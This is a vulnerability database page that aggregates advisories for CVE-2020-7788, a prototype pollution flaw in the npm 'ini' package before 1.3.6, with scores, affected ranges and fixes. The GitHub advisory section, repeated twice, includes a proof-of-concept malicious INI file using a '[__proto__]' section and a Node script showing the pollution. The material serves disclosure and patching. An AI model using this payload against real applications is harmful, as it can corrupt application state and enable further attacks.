CVE-2020-7788
published 2020-12-11CVE-2020-7788: This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the…
PriorityP351critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EPSS
3.61%
88.3th percentile
This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | debian_linux | — | — |
| debian | node-ini | < node-ini 2.0.0-1 (bookworm) | node-ini 2.0.0-1 (bookworm) |
| ini_project | ini | < 1.3.6 | 1.3.6 |
| ini_project | ini | >= 0 < 1.3.6 | 1.3.6 |
| ini_project | ini | >= unspecified < 1.3.6 | 1.3.6 |
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv9.8CRITICAL
vendor_debian7.3HIGH
vendor_redhat7.3HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
CVE-2020-7788: This affects the package ini before 1
osv·2020-12-11·CVSS 9.8
CVE-2020-7788 [CRITICAL] CVE-2020-7788: This affects the package ini before 1
This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
GHSA
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
ghsa·2020-12-10
CVE-2020-7788 [HIGH] CWE-1321 ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
### Overview
The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.
### Patches
This has been patched in 1.3.6.
### Steps to reproduce
payload.ini
```
[__proto__]
polluted = "polluted"
```
poc.js:
```
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
```
```
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
```
OSV
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
osv·2020-12-10
CVE-2020-7788 [HIGH] ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
### Overview
The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.
### Patches
This has been patched in 1.3.6.
### Steps to reproduce
payload.ini
```
[__proto__]
polluted = "polluted"
```
poc.js:
```
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
```
```
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
```
Red Hat
nodejs-ini: Prototype pollution via malicious INI file
vendor_redhat·2020-12-08·CVSS 7.3
CVE-2020-7788 [HIGH] CWE-400 nodejs-ini: Prototype pollution via malicious INI file
nodejs-ini: Prototype pollution via malicious INI file
This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
A flaw was found in nodejs-ini. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
Statement: Node.JS packages in Red Hat Enterprise Linux and Red Hat Software Collections included the vulnerable dependency packaged in "nodejs-npm" component. Processing malicious files using npm could potentially trigger this vulnerability. The "ini" package bund
Debian
CVE-2020-7788: node-ini - This affects the package ini before 1.3.6. If an attacker submits a malicious IN...
vendor_debian·2020·CVSS 7.3
CVE-2020-7788 [HIGH] CVE-2020-7788: node-ini - This affects the package ini before 1.3.6. If an attacker submits a malicious IN...
This affects the package ini before 1.3.6. If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
Scope: local
bookworm: resolved (fixed in 2.0.0-1)
bullseye: resolved (fixed in 2.0.0-1)
forky: resolved (fixed in 2.0.0-1)
sid: resolved (fixed in 2.0.0-1)
trixie: resolved (fixed in 2.0.0-1)
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1https://lists.debian.org/debian-lts-announce/2020/12/msg00032.htmlhttps://snyk.io/vuln/SNYK-JS-INI-1048974https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1https://lists.debian.org/debian-lts-announce/2020/12/msg00032.htmlhttps://snyk.io/vuln/SNYK-JS-INI-1048974
2020-12-11
Published